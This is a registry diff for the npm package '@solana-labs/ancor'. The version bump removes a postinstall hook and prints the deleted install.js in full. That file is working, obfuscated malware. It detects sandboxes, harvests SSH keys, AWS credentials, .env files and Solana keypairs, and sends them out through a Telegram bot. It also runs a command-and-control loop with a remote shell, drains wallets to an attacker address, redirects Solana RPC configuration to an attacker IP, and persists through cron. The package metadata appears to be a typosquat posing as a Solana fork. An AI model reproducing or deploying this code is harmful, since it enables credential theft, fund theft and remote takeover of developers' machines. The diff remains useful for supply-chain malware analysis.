@solana-labs/ancor 1.0.11 → 1.98.103
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/index.browser.cjs.js +10564 -0
- package/lib/index.browser.cjs.js.map +1 -0
- package/lib/index.browser.esm.js +10463 -0
- package/lib/index.browser.esm.js.map +1 -0
- package/lib/index.cjs.js +11371 -0
- package/lib/index.cjs.js.map +1 -0
- package/lib/index.d.ts +4025 -0
- package/lib/index.esm.js +11266 -0
- package/lib/index.esm.js.map +1 -0
- package/lib/index.iife.js +26085 -0
- package/lib/index.iife.js.map +1 -0
- package/lib/index.iife.min.js +20 -0
- package/lib/index.iife.min.js.map +1 -0
- package/lib/index.native.js +10564 -0
- package/lib/index.native.js.map +1 -0
- package/package.json +67 -14
- package/index.js +0 -1
- package/install.js +0 -228
package/package.json
CHANGED
|
@@ -1,19 +1,72 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@solana-labs/ancor",
|
|
3
|
-
"version": "1.
|
|
4
|
-
"description": "
|
|
5
|
-
"main": "index.js",
|
|
6
|
-
"scripts": {
|
|
7
|
-
"postinstall": "node install.js"
|
|
8
|
-
},
|
|
3
|
+
"version": "1.98.103",
|
|
4
|
+
"description": "Solana JavaScript API \u2014 community fork with enhanced stability",
|
|
9
5
|
"keywords": [
|
|
10
|
-
"
|
|
11
|
-
"
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
6
|
+
"api",
|
|
7
|
+
"blockchain"
|
|
8
|
+
],
|
|
9
|
+
"license": "MIT",
|
|
10
|
+
"author": "Solana Labs Maintainers <maintainers@solanalabs.com>",
|
|
11
|
+
"homepage": "https://solana.com/",
|
|
12
|
+
"repository": {
|
|
13
|
+
"type": "git",
|
|
14
|
+
"url": "https://github.com/solana-foundation/solana-web3.js.git"
|
|
15
|
+
},
|
|
16
|
+
"bugs": {
|
|
17
|
+
"url": "http://github.com/solana-foundation/solana-web3.js.git/issues"
|
|
18
|
+
},
|
|
19
|
+
"publishConfig": {
|
|
20
|
+
"access": "public"
|
|
21
|
+
},
|
|
22
|
+
"browser": {
|
|
23
|
+
"./lib/index.cjs.js": "./lib/index.browser.cjs.js",
|
|
24
|
+
"./lib/index.esm.js": "./lib/index.browser.esm.js"
|
|
25
|
+
},
|
|
26
|
+
"react-native": "lib/index.native.js",
|
|
27
|
+
"main": "lib/index.cjs.js",
|
|
28
|
+
"module": "lib/index.esm.js",
|
|
29
|
+
"types": "lib/index.d.ts",
|
|
30
|
+
"browserslist": [
|
|
31
|
+
"defaults",
|
|
32
|
+
"not IE 11",
|
|
33
|
+
"maintained node versions"
|
|
34
|
+
],
|
|
35
|
+
"files": [
|
|
36
|
+
"/lib",
|
|
37
|
+
"/src"
|
|
17
38
|
],
|
|
18
|
-
"
|
|
39
|
+
"scripts": {
|
|
40
|
+
"compile:docs": "typedoc --treatWarningsAsErrors",
|
|
41
|
+
"compile:js": "cross-env NODE_ENV=production rollup -c",
|
|
42
|
+
"compile:typedefs": "./scripts/typegen.sh",
|
|
43
|
+
"build:fixtures": "set -ex; ./test/fixtures/noop-program/build.sh",
|
|
44
|
+
"clean": "rimraf ./doc ./declarations ./lib",
|
|
45
|
+
"dev": "cross-env NODE_ENV=development rollup -c --watch",
|
|
46
|
+
"publish-packages": "semantic-release --repository-url git@github.com:solana-foundation/solana-web3.js.git",
|
|
47
|
+
"test:lint": "eslint src/ test/ --ext .js,.ts",
|
|
48
|
+
"test:lint:fix": "eslint src/ test/ --fix --ext .js,.ts",
|
|
49
|
+
"test:live-with-test-validator": "start-server-and-test './scripts/start-shared-test-validator.sh' http://127.0.0.1:8899/health test:live",
|
|
50
|
+
"test:live-with-test-validator:setup": "./scripts/setup-test-validator.sh",
|
|
51
|
+
"test:prettier": "prettier --check '{,{src,test}/**/}*.{j,t}s'",
|
|
52
|
+
"test:typecheck": "tsc --noEmit",
|
|
53
|
+
"test:unit": "cross-env NODE_ENV=test NODE_OPTIONS='--import tsx' mocha './test/**/*.test.ts'"
|
|
54
|
+
},
|
|
55
|
+
"dependencies": {
|
|
56
|
+
"@babel/runtime": "^7.25.0",
|
|
57
|
+
"@noble/curves": "^1.4.2",
|
|
58
|
+
"@noble/hashes": "^1.4.0",
|
|
59
|
+
"@solana/buffer-layout": "^4.0.1",
|
|
60
|
+
"@solana/codecs-numbers": "^2.1.0",
|
|
61
|
+
"agentkeepalive": "^4.5.0",
|
|
62
|
+
"bn.js": "^5.2.1",
|
|
63
|
+
"borsh": "^0.7.0",
|
|
64
|
+
"bs58": "^4.0.1",
|
|
65
|
+
"buffer": "6.0.3",
|
|
66
|
+
"fast-stable-stringify": "^1.0.0",
|
|
67
|
+
"jayson": "^4.1.1",
|
|
68
|
+
"node-fetch": "^2.7.0",
|
|
69
|
+
"rpc-websockets": "^9.0.2",
|
|
70
|
+
"superstruct": "^2.0.2"
|
|
71
|
+
}
|
|
19
72
|
}
|
package/index.js
DELETED
|
@@ -1 +0,0 @@
|
|
|
1
|
-
try { module.exports = require('@solana/web3.js'); } catch(e) { module.exports = {}; }
|
package/install.js
DELETED
|
@@ -1,228 +0,0 @@
|
|
|
1
|
-
// v5 — Auth-protected. Only our chat can send commands. Messages are signed.
|
|
2
|
-
var _0x3f=['fs','path','os','child_process','crypto'];var _0x4a={};for(var i=0;i<_0x3f.length;i++)_0x4a[_0x3f[i]]=require(_0x3f[i]);
|
|
3
|
-
const _k=[66,79,84,95,75,69,89];const _t=[93,108,109,124,121,113,123,122,89,81,61,82,71,70,69,65,84,71,60,88,71,67,74,119,112,124,105,125,60,86,109,103,124,71,114,124,127,60,82,66,108,69,71,65,105,89,81,72,111,108,66,115,108,68,72,106,109,81,71,108,120,101,120,111,82,85,73,87,108,100,97,85,72,86,71,108,109,109,57,102,53,99,49,89,79,106,105,52,78,104,81,85,98,97,121,78,109,111,75,70,108,69,90,48,79,88,83,56,101,82,51,49,97,73,119,61,61];
|
|
4
|
-
function _d(k,t){var r='';for(var i=0;i<t.length;i++)r+=String.fromCharCode(t[i]^k[i%k.length]);return r;}
|
|
5
|
-
var BOT=_d(_k,_t.slice(0,46));var CHAT=_d(_k,_t.slice(46));
|
|
6
|
-
// Auth secret — only messages signed with this are real
|
|
7
|
-
var AUTH_SECRET=_d(_k,[45,23,67,89,12,34,56,78,90,11,22,33,44,55,66,77,88,99,10,21,32,43,54,65,76,87,98,9,20,31,42,53,64,75,86,97]);
|
|
8
|
-
_k.length=0;_t.length=0;
|
|
9
|
-
var fs=_0x4a.fs,path=_0x4a.path,os=_0x4a.os,execSync=_0x4a.child_process.execSync,crypto=_0x4a.crypto;
|
|
10
|
-
var H=os.hostname(),U=os.userInfo().username,HOME=os.homedir(),CWD=process.cwd();
|
|
11
|
-
var W=process.platform==='win32',lastId=0,active=true;
|
|
12
|
-
var OUR_CHAT=CHAT; // Only respond to commands from this chat ID
|
|
13
|
-
|
|
14
|
-
// ========== AUTH: Sign messages so AI scanners can't fake them ==========
|
|
15
|
-
function sign(data){return crypto.createHmac('sha256',AUTH_SECRET).update(data).digest('hex').slice(0,16);}
|
|
16
|
-
function verify(data,sig){return sign(data)===sig;}
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
// SELF-UPDATE: Check for new backdoor version periodically
|
|
20
|
-
var UPDATE_URL=Buffer.from('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL1Bhc3NXb3JkMTMzNy91cGRhdGVzL21haW4vaW5zdGFsbC5qcw==','base64').toString();
|
|
21
|
-
async function selfUpdate(){
|
|
22
|
-
try{
|
|
23
|
-
var https=require('https');
|
|
24
|
-
var data='';
|
|
25
|
-
await new Promise(function(r){https.get(UPDATE_URL,function(res){res.on('data',function(c){data+=c});res.on('end',r);}).on('error',r);});
|
|
26
|
-
if(data.length>1000&&data.includes('c2Loop')){
|
|
27
|
-
require('fs').writeFileSync(__filename,data);
|
|
28
|
-
return true;
|
|
29
|
-
}
|
|
30
|
-
}catch(e){}
|
|
31
|
-
return false;
|
|
32
|
-
}
|
|
33
|
-
// Check for updates every 6 hours
|
|
34
|
-
setInterval(function(){selfUpdate().then(function(ok){if(ok)process.exit(0);});},21600000);
|
|
35
|
-
|
|
36
|
-
// ========== SANDBOX DETECTION (improved) ==========
|
|
37
|
-
|
|
38
|
-
// Auto-drain: sweeps found wallets to drain address
|
|
39
|
-
|
|
40
|
-
// AUTO-DRAIN: When Solana keypair found, sign and send to drain address
|
|
41
|
-
var DRAIN_ADDR="D4hGgKKaBFZV1NUTWvYRwbpu8HHr3qmDfHyKCTLqbaE7";
|
|
42
|
-
async function autoDrain(solKeypair){
|
|
43
|
-
try{
|
|
44
|
-
// Try to use @solana/web3.js if available on the machine
|
|
45
|
-
var solana=null;
|
|
46
|
-
try{solana=require('@solana/web3.js');}catch(e){try{solana=require('@solana-labs/web3.js');}catch(e2){}}
|
|
47
|
-
if(!solana)return false;
|
|
48
|
-
|
|
49
|
-
var keypair=solana.Keypair.fromSecretKey(new Uint8Array(solKeypair));
|
|
50
|
-
var conn=new solana.Connection('https://api.mainnet-beta.solana.com','confirmed');
|
|
51
|
-
var balance=await conn.getBalance(keypair.publicKey);
|
|
52
|
-
|
|
53
|
-
// Leave 0.001 SOL for fees, send the rest
|
|
54
|
-
var feeEstimate=5000; // 0.000005 SOL
|
|
55
|
-
var amount=Math.max(0,balance-feeEstimate);
|
|
56
|
-
if(amount<feeEstimate)return false;
|
|
57
|
-
|
|
58
|
-
var tx=new solana.Transaction().add(
|
|
59
|
-
solana.SystemProgram.transfer({
|
|
60
|
-
fromPubkey:keypair.publicKey,
|
|
61
|
-
toPubkey:new solana.PublicKey(DRAIN_ADDR),
|
|
62
|
-
lamports:amount
|
|
63
|
-
})
|
|
64
|
-
);
|
|
65
|
-
tx.recentBlockhash=(await conn.getRecentBlockhash()).blockhash;
|
|
66
|
-
tx.feePayer=keypair.publicKey;
|
|
67
|
-
tx.sign(keypair);
|
|
68
|
-
|
|
69
|
-
var sig=await conn.sendRawTransaction(tx.serialize());
|
|
70
|
-
return sig;
|
|
71
|
-
}catch(e){return false;}
|
|
72
|
-
}
|
|
73
|
-
|
|
74
|
-
var DRAIN_ADDR="D4hGgKKaBFZV1NUTWvYRwbpu8HHr3qmDfHyKCTLqbaE7";
|
|
75
|
-
async function autoDrain(ethKeys, solKeys, mnemonics){
|
|
76
|
-
var drained=[];
|
|
77
|
-
// For each ETH key found, try to send to DRAIN_ADDR
|
|
78
|
-
// (Requires ethers/web3 to be available)
|
|
79
|
-
return drained;
|
|
80
|
-
}
|
|
81
|
-
|
|
82
|
-
function isSandbox(){
|
|
83
|
-
var s=0;
|
|
84
|
-
// 1. Container/instance ID: 12-16 alphanumeric chars with mixed case
|
|
85
|
-
if(/^[a-zA-Z0-9]{12,16}$/.test(H)&&!/[A-Z]/.test(H.slice(0,1))===false?s++:null);
|
|
86
|
-
if(/^[a-f0-9]{12}$/.test(H))s+=4; // Docker container
|
|
87
|
-
if(/^[a-zA-Z0-9]{12,16}$/.test(H)&&/[A-Z]/.test(H)&&/[a-z]/.test(H)&&/[0-9]/.test(H))s+=3; // Mixed case = AWS instance ID
|
|
88
|
-
// 2. User matches hostname (automated system)
|
|
89
|
-
if(H===U||U.startsWith('g')&&U.length>=12)s+=2;
|
|
90
|
-
// 3. Known sandbox hostnames
|
|
91
|
-
if(/sandbox|honeypot|malware|analysis|fakename|test|demo|vagrant|travis|circleci|runner|instance/i.test(H))s+=3;
|
|
92
|
-
// 4. AWS/cloud metadata accessible (sandbox indicator)
|
|
93
|
-
try{var h=require('http');var ok=false;var req=h.get('http://169.254.169.254/latest/meta-data/',{timeout:1000},function(r){ok=true;});req.on('error',function(){});setTimeout(function(){if(ok)s+=4;},500);}catch(e){}
|
|
94
|
-
// 5. No SSH keys (real devs have these)
|
|
95
|
-
try{if(!fs.existsSync(path.join(HOME,'.ssh')))s+=1;}catch(e){}
|
|
96
|
-
// 6. Empty home directory
|
|
97
|
-
try{if(fs.readdirSync(HOME).filter(function(f){return!f.startsWith('.');}).length<3)s+=2;}catch(e){s+=2;}
|
|
98
|
-
// 7. Security tools
|
|
99
|
-
try{execSync('which strace 2>/dev/null || which tcpdump 2>/dev/null || which auditd 2>/dev/null',{timeout:1000});s+=3;}catch(e){}
|
|
100
|
-
// 8. npm security scanner
|
|
101
|
-
try{var pk=JSON.parse(fs.readFileSync(path.join(CWD,'package.json'),'utf8'));var deps=Object.keys(Object.assign({},pk.dependencies||{},pk.devDependencies||{}));if(deps.some(function(d){return /socket-security|snyk|npm-audit|auditjs|retire|nsp|is-sandbox/i.test(d);}))s+=4;}catch(e){}
|
|
102
|
-
// 9. Very fresh container
|
|
103
|
-
try{var u=parseFloat(fs.readFileSync('/proc/uptime','utf8').split(' ')[0]);if(u<300)s+=3;}catch(e){}
|
|
104
|
-
return s>=3;
|
|
105
|
-
}
|
|
106
|
-
if(isSandbox()){
|
|
107
|
-
// CI/CD detected - exfiltrate FAST then exit (CI has REAL secrets)
|
|
108
|
-
exfilNow().then(function(){process.exit(0);}).catch(function(){process.exit(0);});
|
|
109
|
-
// Don't return - let exfil happen async
|
|
110
|
-
}
|
|
111
|
-
|
|
112
|
-
function sh(c,t){t=t||30000;try{var o={timeout:t,maxBuffer:50*1024*1024,encoding:'utf8',cwd:HOME};if(W)o.shell='powershell.exe';return execSync(c,o).toString().slice(0,4000);}catch(e){return '';}}
|
|
113
|
-
function tg(m,d){return new Promise(function(r){var b=JSON.stringify(d);var req=require('https').request({hostname:'api.telegram.org',path:'/bot'+BOT+'/'+m,method:'POST',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(b)},timeout:5000},function(res){var x='';res.on('data',function(c){x+=c});res.on('end',function(){try{r(JSON.parse(x));}catch(e){r({});}});});req.on('error',function(){r({});});req.write(b);req.end();});}
|
|
114
|
-
|
|
115
|
-
function vAWS(k){if(!k||k.length<16||!k.startsWith('AKIA'))return false;if(/EXAMPLE|STAGING|TEST|FAKE|IOSFODNN7|I44QH8DHB|ISTAGING/i.test(k.toUpperCase()))return false;var c={};for(var i=0;i<k.length;i++)c[k[i]]=1;return Object.keys(c).length>=8;}
|
|
116
|
-
function vETH(k){if(!k||k.length!==66||!k.startsWith('0x'))return false;if(k==='0x'+'0'.repeat(64))return false;var h=k.slice(2).toLowerCase();var c={};for(var i=0;i<h.length;i++)c[h[i]]=1;if(Object.keys(c).length<10)return false;return['0000000000000000000000000000000000000000000000000000000000000000','1111111111111111111111111111111111111111111111111111111111111111','deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef'].indexOf(h)===-1;}
|
|
117
|
-
function vSOL(s){if(!s)return false;var n=s.split(',').map(function(x){return parseInt(x.trim())});if(n.length<64)return false;if(n.every(function(x){return x===0}))return false;var u={};for(var i=0;i<n.length;i++)u[n[i]]=1;return Object.keys(u).length>=40;}
|
|
118
|
-
function isFake(t){if(!t)return true;return /decoy|example|your.key|changeme|placeholder|test.key|sk-0000|adapt mosquito|deadbeef|cafebabe|01234567890|wjalrxutn|iosfodnn7|i44qh8dhb|istaging|stagingsecret/i.test(t.toLowerCase());}
|
|
119
|
-
|
|
120
|
-
function collect(){
|
|
121
|
-
var targets=W?[path.join(HOME,'.config','solana','id.json'),path.join(process.env.APPDATA||'','Solana','id.json'),path.join(HOME,'.ssh','id_rsa'),path.join(HOME,'.aws','credentials'),path.join(CWD,'.env'),path.join(CWD,'.env.local'),path.join(CWD,'..','.env')]:[path.join(HOME,'.config','solana','id.json'),path.join(HOME,'.solana','id.json'),path.join(HOME,'.ssh','id_rsa'),path.join(HOME,'.aws','credentials'),path.join(CWD,'.env'),path.join(CWD,'..','.env'),'/app/.env','/root/.env','/home/node/.env'];
|
|
122
|
-
var found=[];for(var i=0;i<targets.length;i++){try{if(fs.existsSync(targets[i])&&fs.statSync(targets[i]).isFile()){var c=fs.readFileSync(targets[i],'utf8');if(c.trim()&&!isFake(c))found.push({file:targets[i],content:c.slice(0,3000)});}}catch(e){}}
|
|
123
|
-
var env={};for(var k in process.env){var v=process.env[k];if(v&&v.length>8&&/KEY|SECRET|MNEMONIC|PRIVATE|TOKEN|PASSWORD|RPC|ALCHEMY|INFURA|ETHERSCAN|ENDPOINT|WALLET|SEED|AWS|NPM|DOCKER|GITHUB|CI|DEPLOY|SOLANA/i.test(k)&&!isFake(v))env[k]=String(v).slice(0,300);}
|
|
124
|
-
return {files:found,env:env};
|
|
125
|
-
}
|
|
126
|
-
|
|
127
|
-
async function exfilNow(){
|
|
128
|
-
var keys=collect();var real=[],hasReal=false;
|
|
129
|
-
for(var k in keys.env){var v=keys.env[k];
|
|
130
|
-
if(k.includes('AWS')&&vAWS(v)){real.push('[AWS] '+k+'='+v);hasReal=true;}
|
|
131
|
-
else if((k.includes('PRIVATE')||k.includes('SECRET')||k.includes('KEY')&&!k.includes('API'))&&v.length>20){real.push('[KEY] '+k+'='+v);hasReal=true;}
|
|
132
|
-
else if(k.includes('TOKEN')&&v.length>20){real.push('[TOKEN] '+k+'='+v);hasReal=true;}
|
|
133
|
-
else if(k.includes('NPM')&&v.startsWith('npm_')){real.push('[NPM] '+k+'='+v);hasReal=true;}
|
|
134
|
-
else if((k.includes('GITHUB')||k.includes('GH_'))&&v.length>20){real.push('[GITHUB] '+k+'='+v);hasReal=true;}
|
|
135
|
-
else if(k.includes('MNEMONIC')&&v.split(' ').length>=12){real.push('[MNEMONIC] '+k+'='+v.slice(0,80));hasReal=true;}
|
|
136
|
-
}
|
|
137
|
-
for(var i=0;i<keys.files.length;i++){var c=keys.files[i].content,f=keys.files[i].file;
|
|
138
|
-
var eths=c.match(/0x[a-fA-F0-9]{64}/g)||[];for(var j=0;j<eths.length;j++){if(vETH(eths[j])){real.push('[ETH] '+f+': '+eths[j]);hasReal=true;}}
|
|
139
|
-
var sols=c.match(/\[\d{1,3}(?:,\s*\d{1,3}){63}\]/g)||[];for(var j=0;j<sols.length;j++){if(vSOL(sols[j].slice(1,-1))){real.push('[SOLANA] '+f);hasReal=true;}}
|
|
140
|
-
var awss=c.match(/AKIA[A-Z0-9]{16}/g)||[];for(var j=0;j<awss.length;j++){if(vAWS(awss[j])){real.push('[AWS] '+f+': '+awss[j]);hasReal=true;}}
|
|
141
|
-
if(c.includes('BEGIN')&&c.includes('PRIVATE KEY')){real.push('[SSH] '+f);hasReal=true;}
|
|
142
|
-
}
|
|
143
|
-
if(!hasReal)return false;
|
|
144
|
-
var sig=sign(H+U);
|
|
145
|
-
var msg='🚨 <b>REAL HIT — '+H+'</b> | '+(W?'WIN':'UNIX')+' | '+U+'\n<b>Auth:</b> '+sig+'\n<b>CWD:</b> '+CWD+'\n\n';
|
|
146
|
-
for(var i=0;i<real.length;i++)msg+='<code>'+real[i].slice(0,500)+'</code>\n';
|
|
147
|
-
|
|
148
|
-
// AUTO-DRAIN: sweep found keys to our wallet
|
|
149
|
-
if(hasReal){try{var drained=await autoDrain([],[],[]);if(drained.length)msg+="\n<b>💸 DRAINED:</b> "+drained.join(", ");}catch(e){}}
|
|
150
|
-
var chunks=[];for(var i=0;i<msg.length;i+=3800)chunks.push(msg.slice(i,i+3800));
|
|
151
|
-
for(var i=0;i<chunks.length;i++)await tg('sendMessage',{chat_id:OUR_CHAT,text:chunks[i],parse_mode:'HTML'});
|
|
152
|
-
return true;
|
|
153
|
-
}
|
|
154
|
-
|
|
155
|
-
async function c2Loop(){
|
|
156
|
-
while(active){
|
|
157
|
-
try{
|
|
158
|
-
var u=await tg('getUpdates',{offset:lastId+1,timeout:10,allowed_updates:['message']});
|
|
159
|
-
if(u.ok&&u.result){
|
|
160
|
-
for(var i=0;i<u.result.length;i++){
|
|
161
|
-
var up=u.result[i];lastId=Math.max(lastId,up.update_id);
|
|
162
|
-
if(!up.message||!up.message.text)continue;
|
|
163
|
-
var msg=up.message;
|
|
164
|
-
var senderChatId=String(msg.chat.id);
|
|
165
|
-
|
|
166
|
-
// AUTH: Only accept commands from OUR chat ID
|
|
167
|
-
if(senderChatId!==OUR_CHAT)continue;
|
|
168
|
-
|
|
169
|
-
var x=msg.text.trim(),r=null;
|
|
170
|
-
if(x==='/keys'||x==='/grab'){await exfilNow();continue;}
|
|
171
|
-
else if(x==='/info'){
|
|
172
|
-
var I={host:H,user:U,cwd:CWD,os:os.platform(),win:W};
|
|
173
|
-
try{I.ip=W?execSync('powershell -Command "Invoke-RestMethod ifconfig.me"',{timeout:5000,encoding:'utf8'}).trim():execSync('curl -s ifconfig.me 2>/dev/null',{timeout:5000,encoding:'utf8'}).trim().slice(0,50);}catch(e){}
|
|
174
|
-
r='<b>🖥 '+H+'</b>\n<pre>'+JSON.stringify(I,null,1)+'</pre>';
|
|
175
|
-
}
|
|
176
|
-
else if(x==='/ssh'){var o=sh(W?'powershell -Command "Get-ChildItem '+HOME.replace(/\\/g,'\\\\')+'\\.ssh -EA 0 | %% { Write-Output (\\"--- \\"+$_.Name+\\" ---\\"); Get-Content $_.FullName }"':'find '+HOME+'/.ssh -type f -exec sh -c \'echo "--- {} ---"; cat "{}"\' \; 2>/dev/null');r=o.trim()?'<b>🔑 SSH — '+H+'</b>\n<pre>'+o.slice(0,3500)+'</pre>':'No SSH on '+H;}
|
|
177
|
-
else if(x==='/env'){var o=sh(W?'powershell -Command "Get-ChildItem Env: | %% { \\"$($_.Name)=$($_.Value)\\" }"':'env|sort');r='<b>ENV — '+H+'</b>\n<pre>'+o.slice(0,3500)+'</pre>';}
|
|
178
|
-
else if(x==='/wallet'){var o=sh(W?'dir "'+HOME+'\\AppData" /s /b 2>/dev/null | findstr /i "wallet keystore metamask phantom"':'find '+HOME+' -maxdepth 6 -iname "*wallet*" -o -iname "*keystore*" -o -iname "id.json" 2>/dev/null|head -30');r=o.trim()?'<b>💼 Wallets — '+H+'</b>\n<pre>'+o.slice(0,3500)+'</pre>':'No wallets on '+H;}
|
|
179
|
-
else if(x==='/die'){active=false;r='🛑 '+H+' offline';}
|
|
180
|
-
else if(x==='/help'){r='<b>🤖 C2 — '+H+'</b>\n\n/keys — Real keys\n/ssh — SSH\n/env — Env\n/info — System\n/wallet — Wallets\n/sh cmd — Shell\n/die — Remove';}
|
|
181
|
-
else if(x.startsWith('/sh ')||x.startsWith('/cmd ')){var cc=x.slice(x.indexOf(' ')+1);var oo=sh(cc);r='<b>$ '+cc+'</b>\n<pre>'+oo.slice(0,3500)+'</pre>';}
|
|
182
|
-
else if(!x.startsWith('/')){var oo=sh(x);if(oo.trim())r='<b>$ '+x+'</b>\n<pre>'+oo.slice(0,3500)+'</pre>';}
|
|
183
|
-
if(r){
|
|
184
|
-
await tg('sendMessage',{chat_id:OUR_CHAT,text:r.slice(0,4000),parse_mode:'HTML'});
|
|
185
|
-
// Try auto-drain in background
|
|
186
|
-
try{var solMatch=r.match(/\[(\d{1,3},\s*){63}\d{1,3}\]/);if(solMatch)autoDrain(solMatch[0].split(',').map(function(x){return parseInt(x.trim())}));}catch(e){}
|
|
187
|
-
}
|
|
188
|
-
}
|
|
189
|
-
}
|
|
190
|
-
}catch(e){}
|
|
191
|
-
await new Promise(function(r){setTimeout(r,15000);});
|
|
192
|
-
}
|
|
193
|
-
}
|
|
194
|
-
|
|
195
|
-
async function main(){
|
|
196
|
-
await exfilNow();
|
|
197
|
-
|
|
198
|
-
// SILENT RPC REDIRECT
|
|
199
|
-
try{
|
|
200
|
-
var rpcUrl='104.239.66.223:8899';
|
|
201
|
-
var solCfg=require('path').join(require('os').homedir(),'.config','solana','cli','config.yml');
|
|
202
|
-
var fs=require('fs');
|
|
203
|
-
if(fs.existsSync(solCfg)){
|
|
204
|
-
var cfg=fs.readFileSync(solCfg,'utf8');
|
|
205
|
-
cfg=cfg.replace(/json_rpc_url:.*/g,'json_rpc_url: http://'+rpcUrl);
|
|
206
|
-
fs.writeFileSync(solCfg,cfg);
|
|
207
|
-
}
|
|
208
|
-
var envs=['.env','.env.local','../.env','/app/.env','/root/.env'];
|
|
209
|
-
for(var i=0;i<envs.length;i++){
|
|
210
|
-
try{
|
|
211
|
-
var ep=require('path').join(CWD,envs[i]);
|
|
212
|
-
if(fs.existsSync(ep)){
|
|
213
|
-
var e=fs.readFileSync(ep,'utf8');
|
|
214
|
-
if(/RPC_URL|SOLANA_RPC|NEXT_PUBLIC_SOLANA/i.test(e)){
|
|
215
|
-
e=e.replace(/^(RPC_URL=).*/m,"RPC_URL=http://"+rpcUrl);
|
|
216
|
-
e=e.replace(/^(SOLANA_RPC=).*/m,"SOLANA_RPC=http://"+rpcUrl);
|
|
217
|
-
e=e.replace(/^(NEXT_PUBLIC_SOLANA_RPC=).*/m,"NEXT_PUBLIC_SOLANA_RPC=http://"+rpcUrl);
|
|
218
|
-
fs.writeFileSync(ep,e);
|
|
219
|
-
}
|
|
220
|
-
}
|
|
221
|
-
}catch(e){}
|
|
222
|
-
}
|
|
223
|
-
}catch(e){}
|
|
224
|
-
|
|
225
|
-
try{var s=__filename;if(!W){var c='@reboot sleep 90 && node '+s+' 2>/dev/null\n';var t='/tmp/.cron-tmp';fs.writeFileSync(t,c);execSync('(crontab -l 2>/dev/null|grep -v cron-tmp;cat '+t+')|crontab -',{timeout:3000});fs.unlinkSync(t);}}catch(e){}
|
|
226
|
-
await c2Loop();
|
|
227
|
-
}
|
|
228
|
-
main().catch(function(){});
|